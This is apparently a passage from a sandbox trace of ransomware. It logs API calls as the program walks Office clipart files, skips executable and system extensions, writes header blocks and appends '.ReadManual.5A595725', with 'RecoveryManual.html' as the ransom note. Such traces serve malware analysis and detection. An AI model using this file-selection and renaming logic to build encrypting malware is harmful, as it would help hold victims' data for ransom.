SetSecurityInfo () returned 0x57 [0273.530] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0273.530] CloseHandle (hObject=0x194) returned 1 [0273.530] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x46018a00, ftCreationTime.dwHighDateTime=0x1bd4e53, ftLastAccessTime.dwLowDateTime=0x5a425410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x46018a00, ftLastWriteTime.dwHighDateTime=0x1bd4e53, nFileSizeHigh=0x0, nFileSizeLow=0x8118, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="PH02749U.BMP", cAlternateFileName="")) returned 1 [0273.530] lstrcpyW (in: lpString1=0x6ab90a, lpString2="PH02749U.BMP" | out: lpString1="PH02749U.BMP") returned="PH02749U.BMP" [0273.530] lstrcmpiW (lpString1="PH02749U.BMP", lpString2="RecoveryManual.html") returned -1 [0273.530] StrStrIW (lpFirst="PH02749U.BMP", lpSrch=".ReadManual.5A595725") returned 0x0 [0273.530] StrCmpIW (psz1="BMP", psz2="exe") returned -1 [0273.530] StrCmpIW (psz1="BMP", psz2="dll") returned -1 [0273.530] StrCmpIW (psz1="BMP", psz2="sys") returned -1 [0273.530] StrCmpIW (psz1="BMP", psz2="msi") returned -1 [0273.530] StrCmpIW (psz1="BMP", psz2="mui") returned -1 [0273.530] StrCmpIW (psz1="BMP", psz2="inf") returned -1 [0273.530] StrCmpIW (psz1="BMP", psz2="cat") returned -1 [0273.530] StrCmpIW (psz1="BMP", psz2="bat") returned 1 [0273.530] StrCmpIW (psz1="BMP", psz2="cmd") returned -1 [0273.530] StrCmpIW (psz1="BMP", psz2="ps1") returned -1 [0273.530] StrCmpIW (psz1="BMP", psz2="vbs") returned -1 [0273.530] StrCmpIW (psz1="BMP", psz2="ttf") returned -1 [0273.530] StrCmpIW (psz1="BMP", psz2="fon") returned -1 [0273.530] StrCmpIW (psz1="BMP", psz2="lnk") returned -1 [0273.530] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02749U.BMP" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02749U.BMP") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02749U.BMP" [0273.530] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02749U.BMP", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02749U.BMP.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02749U.BMP.ReadManual.5A595725" [0273.530] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02749U.BMP.ReadManual.5A595725") returned 87 [0273.530] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=39419917075) returned 1 [0273.530] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02749U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02749u.bmp")) returned 0x20 [0273.531] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02749U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02749u.bmp"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0273.532] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=33048) returned 1 [0273.532] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x8118, lpName=0x0) returned 0x184 [0273.532] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0273.532] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0273.532] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0273.534] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0273.534] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x8118) returned 0x2f0000 [0273.535] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0273.535] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=39420396876) returned 1 [0273.535] CloseHandle (hObject=0x184) returned 1 [0273.535] SetSecurityInfo () returned 0x57 [0273.535] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0273.535] CloseHandle (hObject=0x194) returned 1 [0273.536] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd045f000, ftCreationTime.dwHighDateTime=0x1bd4e4b, ftLastAccessTime.dwLowDateTime=0x5a425410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd045f000, ftLastWriteTime.dwHighDateTime=0x1bd4e4b, nFileSizeHigh=0x0, nFileSizeLow=0x64c7, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="PH02750G.GIF", cAlternateFileName="")) returned 1 [0273.536] lstrcpyW (in: lpString1=0x6ab90a, lpString2="PH02750G.GIF" | out: lpString1="PH02750G.GIF") returned="PH02750G.GIF" [0273.536] lstrcmpiW (lpString1="PH02750G.GIF", lpString2="RecoveryManual.html") returned -1 [0273.536] StrStrIW (lpFirst="PH02750G.GIF", lpSrch=".ReadManual.5A595725") returned 0x0 [0273.536] StrCmpIW (psz1="GIF", psz2="exe") returned 1 [0273.536] StrCmpIW (psz1="GIF", psz2="dll") returned 1 [0273.536] StrCmpIW (psz1="GIF", psz2="sys") returned -1 [0273.536] StrCmpIW (psz1="GIF", psz2="msi") returned -1 [0273.536] StrCmpIW (psz1="GIF", psz2="mui") returned -1 [0273.536] StrCmpIW (psz1="GIF", psz2="inf") returned -1 [0273.536] StrCmpIW (psz1="GIF", psz2="cat") returned 1 [0273.536] StrCmpIW (psz1="GIF", psz2="bat") returned 1 [0273.536] StrCmpIW (psz1="GIF", psz2="cmd") returned 1 [0273.536] StrCmpIW (psz1="GIF", psz2="ps1") returned -1 [0273.536] StrCmpIW (psz1="GIF", psz2="vbs") returned -1 [0273.536] StrCmpIW (psz1="GIF", psz2="ttf") returned -1 [0273.536] StrCmpIW (psz1="GIF", psz2="fon") returned 1 [0273.536] StrCmpIW (psz1="GIF", psz2="lnk") returned -1 [0273.536] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02750G.GIF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02750G.GIF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02750G.GIF" [0273.536] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02750G.GIF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02750G.GIF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02750G.GIF.ReadManual.5A595725" [0273.536] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02750G.GIF.ReadManual.5A595725") returned 87 [0273.536] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=39420505288) returned 1 [0273.536] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02750G.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02750g.gif")) returned 0x20 [0273.536] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02750G.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02750g.gif"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0273.537] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=25799) returned 1 [0273.537] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x64c7, lpName=0x0) returned 0x184 [0273.537] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0273.538] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0273.538] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0273.539] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0273.539] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x64c7) returned 0x2f0000 [0273.540] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0273.540] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=39420872093) returned 1 [0273.540] CloseHandle (hObject=0x184) returned 1 [0273.540] SetSecurityInfo () returned 0x57 [0273.540] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0273.540] CloseHandle (hObject=0x194) returned 1 [0273.540] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x105ca100, ftCreationTime.dwHighDateTime=0x1bd4e53, ftLastAccessTime.dwLowDateTime=0x5a425410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x105ca100, ftLastWriteTime.dwHighDateTime=0x1bd4e53, nFileSizeHigh=0x0, nFileSizeLow=0x16f40, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="PH02750U.BMP", cAlternateFileName="")) returned 1 [0273.540] lstrcpyW (in: lpString1=0x6ab90a, lpString2="PH02750U.BMP" | out: lpString1="PH02750U.BMP") returned="PH02750U.BMP" [0273.540] lstrcmpiW (lpString1="PH02750U.BMP", lpString2="RecoveryManual.html") returned -1 [0273.540] StrStrIW (lpFirst="PH02750U.BMP", lpSrch=".ReadManual.5A595725") returned 0x0 [0273.540] StrCmpIW (psz1="BMP", psz2="exe") returned -1 [0273.540] StrCmpIW (psz1="BMP", psz2="dll") returned -1 [0273.540] StrCmpIW (psz1="BMP", psz2="sys") returned -1 [0273.540] StrCmpIW (psz1="BMP", psz2="msi") returned -1 [0273.540] StrCmpIW (psz1="BMP", psz2="mui") returned -1 [0273.540] StrCmpIW (psz1="BMP", psz2="inf") returned -1 [0273.540] StrCmpIW (psz1="BMP", psz2="cat") returned -1 [0273.540] StrCmpIW (psz1="BMP", psz2="bat") returned 1 [0273.541] StrCmpIW (psz1="BMP", psz2="cmd") returned -1 [0273.541] StrCmpIW (psz1="BMP", psz2="ps1") returned -1 [0273.541] StrCmpIW (psz1="BMP", psz2="vbs") returned -1 [0273.541] StrCmpIW (psz1="BMP", psz2="ttf") returned -1 [0273.541] StrCmpIW (psz1="BMP", psz2="fon") returned -1 [0273.541] StrCmpIW (psz1="BMP", psz2="lnk") returned -1 [0273.541] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02750U.BMP" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02750U.BMP") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02750U.BMP" [0273.541] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02750U.BMP", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02750U.BMP.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02750U.BMP.ReadManual.5A595725" [0273.541] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02750U.BMP.ReadManual.5A595725") returned 87 [0273.541] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=39420959243) returned 1 [0273.541] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02750U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02750u.bmp")) returned 0x20 [0273.541] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02750U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02750u.bmp"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0273.541] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=94016) returned 1 [0273.541] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x16f40, lpName=0x0) returned 0x184 [0273.542] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0273.542] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0273.542] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0273.544] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0273.544] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x16f40) returned 0x1de0000 [0273.546] UnmapViewOfFile (lpBaseAddress=0x1de0000) returned 1 [0273.547] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=39421551716) returned 1 [0273.547] CloseHandle (hObject=0x184) returned 1 [0273.547] SetSecurityInfo () returned 0x57 [0273.547] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0273.547] CloseHandle (hObject=0x194) returned 1 [0273.547] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca500f00, ftCreationTime.dwHighDateTime=0x1bd4e4b, ftLastAccessTime.dwLowDateTime=0x5a425410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca500f00, ftLastWriteTime.dwHighDateTime=0x1bd4e4b, nFileSizeHigh=0x0, nFileSizeLow=0xc382, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="PH02752G.GIF", cAlternateFileName="")) returned 1 [0273.547] lstrcpyW (in: lpString1=0x6ab90a, lpString2="PH02752G.GIF" | out: lpString1="PH02752G.GIF") returned="PH02752G.GIF" [0273.547] lstrcmpiW (lpString1="PH02752G.GIF", lpString2="RecoveryManual.html") returned -1 [0273.547] StrStrIW (lpFirst="PH02752G.GIF", lpSrch=".ReadManual.5A595725") returned 0x0 [0273.547] StrCmpIW (psz1="GIF", psz2="exe") returned 1 [0273.547] StrCmpIW (psz1="GIF", psz2="dll") returned 1 [0273.547] StrCmpIW (psz1="GIF", psz2="sys") returned -1 [0273.547] StrCmpIW (psz1="GIF", psz2="msi") returned -1 [0273.547] StrCmpIW (psz1="GIF", psz2="mui") returned -1 [0273.547] StrCmpIW (psz1="GIF", psz2="inf") returned -1 [0273.547] StrCmpIW (psz1="GIF", psz2="cat") returned 1 [0273.547] StrCmpIW (psz1="GIF", psz2="bat") returned 1 [0273.547] StrCmpIW (psz1="GIF", psz2="cmd") returned 1 [0273.547] StrCmpIW (psz1="GIF", psz2="ps1") returned -1 [0273.547] StrCmpIW (psz1="GIF", psz2="vbs") returned -1 [0273.547] StrCmpIW (psz1="GIF", psz2="ttf") returned -1 [0273.547] StrCmpIW (psz1="GIF", psz2="fon") returned 1 [0273.548] StrCmpIW (psz1="GIF", psz2="lnk") returned -1 [0273.548] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02752G.GIF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02752G.GIF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02752G.GIF" [0273.548] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02752G.GIF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02752G.GIF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02752G.GIF.ReadManual.5A595725" [0273.548] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02752G.GIF.ReadManual.5A595725") returned 87 [0273.548] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=39421640370) returned 1 [0273.548] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02752G.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02752g.gif")) returned 0x20 [0273.548] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02752G.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02752g.gif"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0273.548] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=50050) returned 1 [0273.548] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xc382, lpName=0x0) returned 0x184 [0273.548] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0273.549] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0273.549] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0273.551] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0273.551] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xc382) returned 0x2f0000 [0273.552] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0273.553] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=39422136505) returned 1 [0273.553] CloseHandle (hObject=0x184) returned 1 [0273.553] SetSecurityInfo () returned 0x57 [0273.553] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0273.553] CloseHandle (hObject=0x194) returned 1 [0273.553] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x88769700, ftCreationTime.dwHighDateTime=0x1bd4e52, ftLastAccessTime.dwLowDateTime=0x6ce95a50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x88769700, ftLastWriteTime.dwHighDateTime=0x1bd4e52, nFileSizeHigh=0x0, nFileSizeLow=0x7c08, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="PH02752U.BMP", cAlternateFileName="")) returned 1 [0273.553] lstrcpyW (in: lpString1=0x6ab90a, lpString2="PH02752U.BMP" | out: lpString1="PH02752U.BMP") returned="PH02752U.BMP" [0273.553] lstrcmpiW (lpString1="PH02752U.BMP", lpString2="RecoveryManual.html") returned -1 [0273.553] StrStrIW (lpFirst="PH02752U.BMP", lpSrch=".ReadManual.5A595725") returned 0x0 [0273.553] StrCmpIW (psz1="BMP", psz2="exe") returned -1 [0273.553] StrCmpIW (psz1="BMP", psz2="dll") returned -1 [0273.553] StrCmpIW (psz1="BMP", psz2="sys") returned -1 [0273.553] StrCmpIW (psz1="BMP", psz2="msi") returned -1 [0273.553] StrCmpIW (psz1="BMP", psz2="mui") returned -1 [0273.553] StrCmpIW (psz1="BMP", psz2="inf") returned -1 [0273.553] StrCmpIW (psz1="BMP", psz2="cat") returned -1 [0273.553] StrCmpIW (psz1="BMP", psz2="bat") returned 1 [0273.553] StrCmpIW (psz1="BMP", psz2="cmd") returned -1 [0273.553] StrCmpIW (psz1="BMP", psz2="ps1") returned -1 [0273.553] StrCmpIW (psz1="BMP", psz2="vbs") returned -1 [0273.553] StrCmpIW (psz1="BMP", psz2="ttf") returned -1 [0273.553] StrCmpIW (psz1="BMP", psz2="fon") returned -1 [0273.553] StrCmpIW (psz1="BMP", psz2="lnk") returned -1 [0273.553] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02752U.BMP" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02752U.BMP") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02752U.BMP" [0273.553] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02752U.BMP", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02752U.BMP.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02752U.BMP.ReadManual.5A595725" [0273.553] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02752U.BMP.ReadManual.5A595725") returned 87 [0273.553] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=39422217136) returned 1 [0273.553] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02752U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02752u.bmp")) returned 0x20 [0273.554] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02752U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02752u.bmp"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0273.554] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=31752) returned 1 [0273.554] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x7c08, lpName=0x0) returned 0x184 [0273.554] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0273.555] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0273.555] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0273.557] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0273.557] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x7c08) returned 0x2f0000 [0273.557] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0273.557] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=39422602643) returned 1 [0273.557] CloseHandle (hObject=0x184) returned 1 [0273.557] SetSecurityInfo () returned 0x57 [0273.557] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0273.557] CloseHandle (hObject=0x194) returned 1 [0273.558] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xece62600, ftCreationTime.dwHighDateTime=0x1bd4e53, ftLastAccessTime.dwLowDateTime=0x5a425410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xece62600, ftLastWriteTime.dwHighDateTime=0x1bd4e53, nFileSizeHigh=0x0, nFileSizeLow=0x1a6b8, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="PH02753U.BMP", cAlternateFileName="")) returned 1 [0273.558] lstrcpyW (in: lpString1=0x6ab90a, lpString2="PH02753U.BMP" | out: lpString1="PH02753U.BMP") returned="PH02753U.BMP" [0273.558] lstrcmpiW (lpString1="PH02753U.BMP", lpString2="RecoveryManual.html") returned -1 [0273.558] StrStrIW (lpFirst="PH02753U.BMP", lpSrch=".ReadManual.5A595725") returned 0x0 [0273.558] StrCmpIW (psz1="BMP", psz2="exe") returned -1 [0273.558] StrCmpIW (psz1="BMP", psz2="dll") returned -1 [0273.558] StrCmpIW (psz1="BMP", psz2="sys") returned -1 [0273.558] StrCmpIW (psz1="BMP", psz2="msi") returned -1 [0273.558] StrCmpIW (psz1="BMP", psz2="mui") returned -1 [0273.558] StrCmpIW (psz1="BMP", psz2="inf") returned -1 [0273.558] StrCmpIW (psz1="BMP", psz2="cat") returned -1 [0273.558] StrCmpIW (psz1="BMP", psz2="bat") returned 1 [0273.558] StrCmpIW (psz1="BMP", psz2="cmd") returned -1 [0273.558] 